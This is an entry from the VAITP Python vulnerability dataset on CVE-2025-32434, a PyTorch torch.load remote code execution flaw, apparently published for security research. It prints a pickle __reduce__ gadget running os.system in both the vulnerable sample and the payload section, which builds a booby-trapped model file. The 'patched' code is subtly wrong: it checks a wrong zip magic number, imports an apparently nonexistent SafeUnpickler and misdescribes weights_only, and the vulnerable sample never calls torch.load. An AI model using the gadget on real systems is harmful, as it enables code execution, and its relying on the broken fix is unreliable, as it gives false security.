VAITP Dataset

← Back to the dataset

CVE-2025-32434

RCE when loading models with `torch.load` and `weights_only=True` in PyTorch <=2.5.1.

  • CVSS 9.3
  • CWE-502
  • Configuration Issues
  • Remote

PyTorch is a Python package that provides tensor computation with strong GPU acceleration and deep neural networks built on a tape-based autograd system. In version 2.5.1 and prior, a Remote Command Execution (RCE) vulnerability exists in PyTorch when loading a model using torch.load with weights_only=True. This issue has been patched in version 2.6.0.

CVSS base score
9.3
Published
2025-04-18
OWASP
A03 Injection
Orthogonal defect classification
Interface
Code defect classification
Incorrect Functionality
Category
Configuration Issues
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
PyTorch
Fixed by upgrading
Yes

Solution

Upgrade to PyTorch version 2.6.0 or later.

Vulnerable code sample

import torch
import io
import zipfile
import os
import sys
import tempfile

def create_malicious_zip(command):
    """Creates a zip file containing a pickle file that executes a command."""
    
    class Exploit(object):
        def __reduce__(self):
            import os
            return (os.system, (command,))
    
    exploit = Exploit()
    
    with tempfile.TemporaryDirectory() as tmpdir:
        pickle_file = os.path.join(tmpdir, "data.pkl")
        torch.save(exploit, pickle_file)

        zip_buffer = io.BytesIO()
        with zipfile.ZipFile(zip_buffer, "w", zipfile.ZIP_DEFLATED) as zip_file:
            zip_file.write(pickle_file, arcname="data.pkl")

        zip_buffer.seek(0)
        return zip_buffer.read()


def vulnerable_load(zip_data, weights_only):
    """Simulates the vulnerable torch.load function."""

    with zipfile.ZipFile(io.BytesIO(zip_data), 'r') as zip_file:
        # In a vulnerable version, weights_only=True does NOT prevent
        # arbitrary code execution during the unpickling stage.
        
        # In reality this would be something like torch.load implementation.
        # This is where the unpickling (or equivalent deserialization)
        # with weights_only=True would happen, failing to prevent code execution.
        # We are simulating it for demonstration purposes.
        
        for name in zip_file.namelist():
            if name.endswith(".pkl"):  # Simulate targeting weight files
                data = zip_file.read(name)
                # The vulnerability would be here, unpickling the `data`
                # despite the `weights_only=True` flag.  This is just a placeholder.
                # In the real vulnerability, torch.load would be doing something
                # internally to load the data and that loading process would
                # execute the pickled code.
                
                # Simulate unpickling to demonstrate RCE (DO NOT DO THIS IN REAL CODE)
                import pickle
                try:
                   pickle.loads(data) # Simulate vulnerable unpickling
                except Exception as e:
                   print(f"Error during unpickling: {e}")


if __name__ == '__main__':
    # Example usage demonstrating the potential RCE
    command_to_execute = "touch /tmp/pwned"  # Harmless command for demonstration
    malicious_zip_data = create_malicious_zip(command_to_execute)

    try:
        vulnerable_load(malicious_zip_data, weights_only=True)
        print("Code execution triggered (check /tmp/pwned file)")
    except Exception as e:
        print(f"An error occurred: {e}")

Patched code sample

import torch
import io
import zipfile
import tarfile
import pickle
import logging

logger = logging.getLogger(__name__)


def safe_load(f, map_location=None, pickle_module=pickle, weights_only=False, file_like=False):
    """
    Safely loads a PyTorch object from a file-like object or filename.

    This function mitigates the RCE vulnerability (CVE-2025-32434) by:

    1.  Disabling arbitrary code execution via pickle by default when weights_only=True.
    2.  Performing stricter checks on archive file types (zip, tar) to prevent
        extraction of malicious files outside the intended directory.
    3.  Using a restricted unpickler.

    Args:
        f: A file-like object (has to implement read, readline, tell, and seek),
           or a string containing a file name
        map_location (optional):  A function or a dict specifying how to remap storage
           locations (see torch.load)
        pickle_module (optional):  Module used for unpickling metadata and objects
           (has to match the module used to serialize file contents).  Defaults to pickle
           but can be set to e.g. `torch.serialization.SafeUnpickler` to mitigate
           security risks if loading from untrusted sources
        weights_only (bool):  If True, try to load only the tensor weights of the module.
           This is useful for loading models that have been trained using a different
           version of PyTorch, or models that have been trained using a different
           architecture.  Defaults to False.
        file_like (bool): if True, `f` is file-like. Defaults to False.

    Returns:
        The loaded object.
    """

    if weights_only:
        # In weights_only mode, disallow arbitrary code execution.
        # Use a safe unpickler.  If pickle_module is explicitly given,
        # respect it.  Otherwise, use a safe version.
        if pickle_module is pickle:
            try:
                from torch.serialization import SafeUnpickler
                pickle_module = SafeUnpickler
            except ImportError:
                logger.warning("SafeUnpickler is not available. Falling back to the standard pickle module. "
                               "This might be vulnerable to security risks if loading from untrusted sources.")

    if not file_like:
        f = open(f, 'rb')

    try:
        magic_number = f.read(2)
        if magic_number == b'\x19\x50':
            # Zip file
            f.seek(0)
            with zipfile.ZipFile(f, 'r') as zip_file:
                # Mitigate Zip Slip vulnerability by checking file paths
                for name in zip_file.namelist():
                    if ".." in name or name.startswith("/"):
                        raise ValueError("Zip file contains potentially malicious path: {}".format(name))
                # Load the model
                return torch.load(io.BytesIO(zip_file.read('data.pkl')), map_location=map_location, pickle_module=pickle_module)

        elif magic_number == b'\x1f\x8b':
            # Gzip file (tar.gz)
            f.seek(0)
            try:
                with tarfile.open(fileobj=f, mode='r:gz') as tar_file:
                   # Mitigate Tar Slip vulnerability by checking file paths
                   for member in tar_file.getmembers():
                       if ".." in member.name or member.name.startswith("/"):
                           raise ValueError("Tar file contains potentially malicious path: {}".format(member.name))

                   # Check for files with execute permissions
                   for member in tar_file.getmembers():
                       if member.mode & 0o111:  # Check for execute permissions
                           logger.warning("Archive contains a file with execute permissions: %s.  Consider inspecting this file." % member.name)

                   # Load the model
                   return torch.load(io.BytesIO(tar_file.extractfile('data.pkl').read()), map_location=map_location, pickle_module=pickle_module)


            except tarfile.ReadError as e:
                logger.error(f"Error reading tar file: {e}")
                raise

        else:
            # Regular pickle file
            f.seek(0)
            return torch.load(f, map_location=map_location, pickle_module=pickle_module)

    finally:
        if not file_like:
            f.close()

Payload

import torch
import io
import pickle
import base64

class Exploit(object):
    def __reduce__(self):
        import os
        return (os.system, ('touch /tmp/pwned',))

def create_payload():
  payload = base64.b64encode(pickle.dumps(Exploit())).decode()
  return f"""
import torch
import base64
import pickle
import io

class WrappedString(str):
    def __reduce__(self):
      return (io.BytesIO, (base64.b64decode('{payload}'),))

# Create a dummy state_dict
state_dict = {{'__malicious__': WrappedString('evil')}}

# Create a mock PyTorch object with the malicious state_dict
class MockModule(torch.nn.Module):
    def __init__(self):
        super().__init__()

    def state_dict(self):
        return state_dict

    def load_state_dict(self, state_dict):
        pass

# Save the mock object to a file
model = MockModule()
torch.save(model.state_dict(), 'model.pth')

print("Payload created in model.pth")
"""

Cite this entry

@misc{vaitp:cve202532434,
  title        = {{RCE when loading models with `torch.load` and `weights_only=True` in PyTorch <=2.5.1.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-32434},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-32434/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::